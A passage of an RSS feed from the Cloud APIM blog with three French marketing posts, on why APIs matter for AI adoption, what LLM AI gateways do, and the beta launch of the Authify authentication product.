&lt;p&gt;Le lien entre API et IA va au-delà de la simple intégration : les deux sont interdépendants dans l’essor des systèmes intelligents. Voici pourquoi les API sont essentielles pour adopter l’IA et la déployer à grande échelle :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Accès aux données : le carburant du développement de l’IA&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Les systèmes d’IA ont besoin de données pour apprendre et progresser&lt;/strong&gt;, et les API facilitent l’accès aux données issues de sources variées.&lt;/p&gt;
&lt;p&gt;En standardisant la manière dont les données sont partagées entre plateformes, les API permettent aux modèles d’IA de traiter et d’analyser rapidement de vastes jeux de données pour produire des prédictions et des analyses précises.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une intégration fluide des services d’IA&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les API simplifient l’intégration de fonctionnalités d’IA dans les applications existantes.&lt;/p&gt;
&lt;p&gt;Les entreprises peuvent s’appuyer sur les API de &lt;strong&gt;fournisseurs de services d’IA comme OpenAI&lt;/strong&gt; pour ajouter à leurs produits des fonctionnalités intelligentes : chatbots, classification d’images ou traduction automatique.&lt;/p&gt;
&lt;p&gt;Cette &lt;strong&gt;approche plug-and-play&lt;/strong&gt; réduit les délais et les coûts de développement.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Évolutivité et flexibilité&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les API offrent un moyen souple de faire évoluer les capacités d’IA au rythme des besoins de l’entreprise. Les organisations peuvent commencer par des fonctionnalités d’IA de base, puis ajouter au fil du temps des fonctionnalités plus avancées en intégrant de nouvelles API ou en changeant de fournisseur de services d’IA.&lt;/p&gt;
&lt;p&gt;Cette approche modulaire facilite l’&lt;strong&gt;extension et la personnalisation&lt;/strong&gt; des solutions d’IA.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une meilleure interopérabilité entre les systèmes&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans un monde où les entreprises utilisent une grande variété d’outils logiciels, les API permettent à des systèmes différents de fonctionner ensemble sans friction.&lt;/p&gt;
&lt;p&gt;Par exemple, un système de &lt;strong&gt;gestion de la relation client (CRM)&lt;/strong&gt; doté d’IA peut utiliser des API pour récupérer des données d’un &lt;strong&gt;ERP (progiciel de gestion intégré)&lt;/strong&gt; afin d’affiner sa connaissance des clients, ce qui améliore l’ensemble des processus de décision.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;cas-concrets--les-api-au-service-de-lia-dans-tous-les-secteurs&quot;&gt;Cas concrets : les API au service de l’IA dans tous les secteurs&lt;/h3&gt;
&lt;p&gt;L’importance des API pour l’IA apparaît clairement quand on observe comment différents secteurs utilisent ces technologies pour transformer leurs activités :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Santé&lt;/strong&gt; : les API d’IA servent à intégrer des &lt;strong&gt;outils d’analyse prédictive et d’aide au diagnostic&lt;/strong&gt; dans les dossiers patients informatisés (DPI), ce qui aide les professionnels de santé à améliorer la prise en charge des patients grâce à des analyses fondées sur les données.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Finance&lt;/strong&gt; : les institutions financières utilisent des API pour intégrer l’IA à la détection de fraude, à l’évaluation des risques et à l’automatisation du service client. Les opérations bancaires gagnent ainsi en efficacité et en sécurité.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;E-commerce&lt;/strong&gt; : les commerçants en ligne utilisent des API d’IA pour améliorer les &lt;strong&gt;recommandations de produits, la gestion des stocks&lt;/strong&gt; et le &lt;strong&gt;marketing personnalisé&lt;/strong&gt;, et offrir ainsi à leurs clients une expérience d’achat plus engageante et plus efficace.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;pourquoi--pas-dia-sans-api--est-la-nouvelle-norme&quot;&gt;Pourquoi « Pas d’IA sans API » est la nouvelle norme&lt;/h3&gt;
&lt;p&gt;La formule &lt;strong&gt;« Pas d’IA sans API »&lt;/strong&gt; traduit une nouvelle réalité dans le monde de la tech : l’IA ne peut révéler tout son potentiel qu’avec une &lt;strong&gt;gestion et une intégration efficaces des API&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Voici quelques raisons pour lesquelles c’est désormais la norme :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une mise sur le marché plus rapide&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;En s’appuyant sur des capacités d’IA prêtes à l’emploi via des API, les entreprises peuvent lancer plus vite des fonctionnalités basées sur l’IA et prendre un avantage concurrentiel. Les délais de développement sont bien plus courts que lorsqu’on construit des modèles d’IA à partir de zéro.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une meilleure maîtrise des coûts&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les API abaissent la barrière à l’entrée pour mettre en œuvre l’IA, et la rendent plus accessible aux PME. Plutôt que d’investir massivement dans des équipes de data science, les entreprises peuvent utiliser des API pour doter leurs applications de fonctionnalités d’IA pour une fraction du coût.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Standardisation et cohérence&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Les API favorisent une approche standardisée de l’intégration de l’IA sur différentes plateformes et différents services, ce qui garantit des performances et des résultats cohérents. Elles réduisent ainsi la complexité liée à la gestion d’outils et de technologies d’IA disparates.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3 id=&quot;lavenir-de-lia-et-des-api--tendances-et-opportunités&quot;&gt;L’avenir de l’IA et des API : tendances et opportunités&lt;/h3&gt;
&lt;p&gt;À l’avenir, la relation entre &lt;strong&gt;IA et API&lt;/strong&gt; va continuer d’évoluer, avec des tendances comme :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;La génération automatique d’API&lt;/strong&gt; : des outils qui génèrent automatiquement des API pour les modèles d’IA simplifieront encore davantage l’intégration et permettront un &lt;strong&gt;déploiement rapide des capacités d’IA&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Les marketplaces d’API pour les services d’IA&lt;/strong&gt; : ces plateformes proposeront une sélection de fonctionnalités d’IA accessibles via des API standardisées, pour aider les entreprises à trouver et à mettre en œuvre plus facilement des solutions d’IA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des mesures de sécurité renforcées&lt;/strong&gt; : à mesure que les API d’IA se généralisent, l’accent sera davantage mis sur les protocoles de sécurité qui protègent les données et garantissent la conformité réglementaire.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;La formule &lt;strong&gt;« Pas d’IA sans API »&lt;/strong&gt; reflète le rôle essentiel des API dans le développement et le déploiement des solutions d’IA.&lt;/p&gt;
&lt;p&gt;Elles facilitent l’accès aux données, simplifient l’intégration des services d’IA et permettent aux entreprises de faire évoluer efficacement leurs capacités d’IA.&lt;/p&gt;
&lt;p&gt;Alors que l’IA continue de façonner l’avenir de la technologie, la synergie entre &lt;strong&gt;API et IA&lt;/strong&gt; sera déterminante pour stimuler l’innovation dans tous les secteurs.&lt;/p&gt;
&lt;p&gt;En tirant parti de cette relation, les entreprises peuvent garder une longueur d’avance sur la concurrence et &lt;strong&gt;exploiter tout le potentiel de l’IA&lt;/strong&gt; grâce à une &lt;strong&gt;gestion efficace de leurs API&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-restez-connecté&quot;&gt;&lt;strong&gt;📡 Restez connecté&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour découvrir les dernières nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;des solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement.&lt;/p&gt;
&lt;p&gt;Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;des services&lt;/a&gt; qui les aident à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;h3 id=&quot;les-produits-cloud-apim&quot;&gt;Les produits Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; des clusters &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; permet des déploiements scalables sans gestion d’infrastructure.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; apporte une exécution &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; légère.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifie l’authentification grâce à une intégration rapide et sécurisée.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>IA</category><category>API</category><category>API management</category><category>API gateway</category><category>Cloud APIM</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Df6oQqF6_J48hz.jpg" length="0" type="image/jpeg"/></item><item><title>Qu&apos;est-ce qu&apos;une LLM AI Gateway ? Simplifier l&apos;intégration de l&apos;IA dans l&apos;API management moderne</title><link>https://blog.cloud-apim.com/qu-est-ce-qu-une-ai-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/qu-est-ce-qu-une-ai-gateway</guid><description>Libérez le potentiel des grands modèles de langage (LLM) grâce à notre guide complet sur les LLM AI Gateways.</description><pubDate>Wed, 23 Oct 2024 09:00:28 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;L’IA est devenue omniprésente dans notre monde et permet d’étendre considérablement les capacités des outils que nous utilisons au quotidien.&lt;/p&gt;
&lt;p&gt;Intégrer l’IA dans nos solutions logicielles est devenu indispensable.&lt;/p&gt;
&lt;p&gt;Les grands modèles de langage (LLM), comme GPT, ont fait des progrès impressionnants en traitement du langage naturel, et rendent possibles des fonctionnalités d’IA avancées dans de nombreuses applications.&lt;/p&gt;
&lt;p&gt;Mais comment connecter efficacement ces outils puissants aux systèmes existants ?&lt;/p&gt;
&lt;p&gt;C’est là qu’interviennent les &lt;strong&gt;LLM Gateways&lt;/strong&gt;. Dans cet article, nous verrons l’intérêt de les intégrer à une API gateway sécurisée et personnalisée selon vos besoins et ceux de vos projets.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-quest-ce-quune-llm-gateway-&quot;&gt;🔍 &lt;strong&gt;Qu’est-ce qu’une LLM Gateway ?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Les LLM Gateways sont des solutions spécialisées qui facilitent l’intégration des grands modèles de langage dans les applications et les infrastructures existantes.&lt;/p&gt;
&lt;p&gt;Elles jouent le rôle d’intermédiaire et simplifient l’ajout de fonctionnalités d’IA en offrant une connexion sécurisée et scalable aux LLM, sans configuration complexe.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-comment-fonctionnent-les-llm-gateways&quot;&gt;🌐 &lt;strong&gt;Comment fonctionnent les LLM Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Les LLM Gateways fluidifient la communication entre les modèles d’IA et les applications grâce aux fonctionnalités suivantes :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Interface unifiée&lt;/strong&gt; : une API commune qui prend en charge différents LLM, pour permettre aux développeurs de passer facilement d’un modèle à l’autre et de gérer plusieurs services d’IA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Routage efficace&lt;/strong&gt; : routez les requêtes vers différents modèles d’IA en fonction du cas d’usage, de la charge ou des besoins des utilisateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contrôles de sécurité&lt;/strong&gt; : des mesures de sécurité avancées encadrent les flux de données, pour protéger les informations sensibles échangées avec les services d’IA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalabilité&lt;/strong&gt; : une montée en charge performante pour absorber les variations de charge et garantir une expérience utilisateur fluide.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-les-avantages-des-llm-gateways&quot;&gt;💡 &lt;strong&gt;Les avantages des LLM Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Intégrer des LLM Gateways présente de nombreux avantages :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Un time-to-market plus court&lt;/strong&gt; : déployez rapidement des fonctionnalités d’IA avec un minimum de configuration et accélérez vos cycles de développement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des développeurs plus productifs&lt;/strong&gt; : concentrez-vous sur la création de fonctionnalités innovantes plutôt que sur des intégrations d’IA complexes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Des coûts maîtrisés&lt;/strong&gt; : optimisez l’utilisation des ressources d’IA en orientant chaque charge de travail vers le modèle le plus adapté, pour mieux contrôler vos coûts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Plus de flexibilité&lt;/strong&gt; : changez facilement de modèle d’IA ou ajoutez-en de nouveaux pour suivre l’évolution de vos besoins, sans perturber vos opérations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-les-cas-dusage-les-plus-courants-des-llm-gateways&quot;&gt;📊 &lt;strong&gt;Les cas d’usage les plus courants des LLM Gateways&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Les LLM Gateways ouvrent de nombreuses possibilités dans tous les secteurs :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Automatisation du support client&lt;/strong&gt; : enrichissez vos chatbots avec des LLM pour obtenir des réponses plus précises et mieux adaptées au contexte.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Génération de contenu&lt;/strong&gt; : automatisez la création de supports marketing, de publications pour les réseaux sociaux ou de documentation technique grâce aux modèles de langage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Analyse de sentiment&lt;/strong&gt; : utilisez les LLM pour analyser les retours utilisateurs, les données des réseaux sociaux ou les avis clients, afin de prendre le pouls de l’opinion et d’éclairer votre stratégie.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Recommandations personnalisées&lt;/strong&gt; : proposez des suggestions de produits ou de contenus sur mesure, à partir de requêtes formulées en langage naturel par vos utilisateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-les-llm-gateways-sont-disponibles-sur-cloud-apim&quot;&gt;🎉 &lt;strong&gt;Les LLM Gateways sont disponibles sur Cloud APIM&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Vous souhaitez intégrer des LLM Gateways à vos projets ?&lt;/p&gt;
&lt;p&gt;Cloud APIM propose une solution complète pour intégrer des capacités LLM et enrichir facilement vos applications grâce à l’IA.&lt;/p&gt;
&lt;p&gt;Avec Cloud APIM, vous vous connectez rapidement à plusieurs fournisseurs de LLM via une interface unifiée, pour des intégrations d’IA aussi flexibles et scalables que l’exige votre activité.&lt;/p&gt;
&lt;p&gt;Notre offre &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;Serverless&lt;/a&gt; et nos &lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;instances Otoroshi managées&lt;/a&gt; vous permettent de créer directement vos propres LLM gateways, sans difficulté et sans compétences techniques particulières.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Les LLM Gateways façonnent l’avenir de l’intégration de l’IA, avec une approche simplifiée pour exploiter tout le potentiel des modèles de langage. Qu’il s’agisse d’améliorer l’expérience client, d’automatiser la création de contenu ou de tirer des enseignements de vos données, ces gateways vous donnent les outils nécessaires pour accélérer votre transformation numérique. Découvrez les LLM Gateways avec Cloud APIM et faites passer vos capacités d’IA à la vitesse supérieure.&lt;/p&gt;
&lt;h3 id=&quot;-restez-informé&quot;&gt;&lt;strong&gt;📡 Restez informé&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement.&lt;/p&gt;
&lt;p&gt;Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils&lt;/a&gt; et &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;les services&lt;/a&gt; les plus avancés, pour les aider à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;h3 id=&quot;les-produits-cloud-apim&quot;&gt;Les produits Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; des clusters &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; permet des déploiements scalables sans gestion d’infrastructure.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; apporte une exécution &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; légère.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifie l’authentification grâce à une intégration rapide et sécurisée.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>LLM</category><category>AI gateway</category><category>API gateway</category><category>API management</category><category>Cloud APIM</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.GHTvZohq_2jXzuq.jpg" length="0" type="image/jpeg"/></item><item><title>🚀 Découvrez Cloud APIM Authify : intégrez instantanément une solution d&apos;authentification complète, sans effort</title><link>https://blog.cloud-apim.com/decouvrez-cloud-apim-authify</link><guid isPermaLink="true">https://blog.cloud-apim.com/decouvrez-cloud-apim-authify</guid><description>Découvrez Cloud APIM Authify, la solution d&apos;authentification rapide et simple pour vos sites web et vos applications.</description><pubDate>Thu, 17 Oct 2024 08:09:54 GMT</pubDate><content:encoded>&lt;p&gt;Gérer l’authentification de vos sites web et de vos applications peut vite devenir long et complexe.&lt;/p&gt;
&lt;p&gt;C’est là qu’intervient &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt; 🤩&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authify&lt;/strong&gt; est une solution d’authentification tout-en-un et facile à utiliser, qui vous permet de gérer en toute sécurité l’accès des utilisateurs à vos applications, sans passer des heures, voire des jours, à la configurer.&lt;/p&gt;
&lt;p&gt;Que vous travailliez sur des applications web, des applications mobiles ou des services cloud, Authify simplifie la mise en place d’une authentification sécurisée pour vos utilisateurs.&lt;/p&gt;
&lt;p&gt;Notre outil innovant vous permet d’intégrer rapidement une authentification sécurisée à vos projets, sans prise de tête.&lt;/p&gt;
&lt;h3 id=&quot;-quest-ce-que-cloud-apim-authify-&quot;&gt;&lt;strong&gt;🤔 Qu’est-ce que Cloud APIM Authify ?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM Authify&lt;/strong&gt; est une solution d’authentification simple mais puissante, qui prend en charge les standards du marché comme &lt;strong&gt;OAuth 2.0&lt;/strong&gt; et &lt;strong&gt;OpenID Connect&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;En quelques clics, vous sécurisez vos applications et gérez facilement l’accès de vos utilisateurs.&lt;/p&gt;
&lt;h3 id=&quot;-fonctionnalités-clés&quot;&gt;&lt;strong&gt;🔑 Fonctionnalités clés&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mise en place instantanée&lt;/strong&gt; : ajoutez l’authentification en quelques minutes, pas en quelques jours ! ⏱️&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Une sécurité qui passe à l’échelle&lt;/strong&gt; : idéale aussi bien pour les petites applications que pour les projets d’entreprise. 🔐&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contrôle d’accès basé sur les rôles&lt;/strong&gt; : gérez facilement les rôles et les permissions de vos utilisateurs. 🎯&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;-pourquoi-choisir-authify-&quot;&gt;&lt;strong&gt;👀 Pourquoi choisir Authify ?&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Intégration rapide et facile&lt;/strong&gt; – Lancez-vous sans prise de tête.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tableau de bord intuitif&lt;/strong&gt; – Pilotez vos paramètres d’authentification sans effort.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sécurisé et scalable&lt;/strong&gt; – Protégez vos utilisateurs sans sacrifier les performances.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;-essayez-la-bêta-dauthify-dès-maintenant&quot;&gt;&lt;strong&gt;🚀 Essayez la bêta d’Authify dès maintenant&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Découvrez l’avenir de l’authentification avec &lt;strong&gt;Authify Beta&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mettez en place un accès sécurisé en quelques secondes et simplifiez le développement de vos applications.&lt;/p&gt;
&lt;p&gt;👉 &lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Rejoignez la bêta&lt;/strong&gt;&lt;/a&gt; dès aujourd’hui et simplifiez l’authentification de tous vos projets !&lt;/p&gt;
&lt;h3 id=&quot;-restez-connectés&quot;&gt;&lt;strong&gt;📡 Restez connectés&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Suivez notre blog pour ne rien manquer des dernières nouveautés, astuces et bonnes pratiques autour de &lt;strong&gt;Cloud APIM Authify&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;-à-propos-de-cloud-apim&quot;&gt;&lt;strong&gt;🏢 À propos de Cloud APIM&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt; propose des &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;solutions managées de pointe pour l’API management&lt;/a&gt;, qui permettent aux entreprises d’exploiter tout le potentiel de leurs API avec simplicité et efficacité. Notre engagement en faveur de l’innovation et de l’excellence nous pousse à offrir à nos clients &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;les outils les plus avancés&lt;/a&gt; et des &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; qui les aident à atteindre leurs objectifs de transformation numérique.&lt;/p&gt;
&lt;h3 id=&quot;les-produits-cloud-apim&quot;&gt;Les produits Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;:&lt;/strong&gt; des clusters &lt;a href=&quot;https://maif.github.io/otoroshi/manual/about.html&quot;&gt;Otoroshi&lt;/a&gt; entièrement managés, parfaitement configurés et optimisés, prêts en quelques secondes&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Serverless&lt;/strong&gt;&lt;/a&gt; permet des déploiements scalables sans gestion d’infrastructure.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/wasmo&quot;&gt;&lt;strong&gt;Wasmo&lt;/strong&gt;&lt;/a&gt; apporte une exécution &lt;a href=&quot;https://webassembly.org/&quot;&gt;WebAssembly&lt;/a&gt; légère.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; simplifie l’authentification grâce à une intégration rapide et sécurisée.&lt;/p&gt;
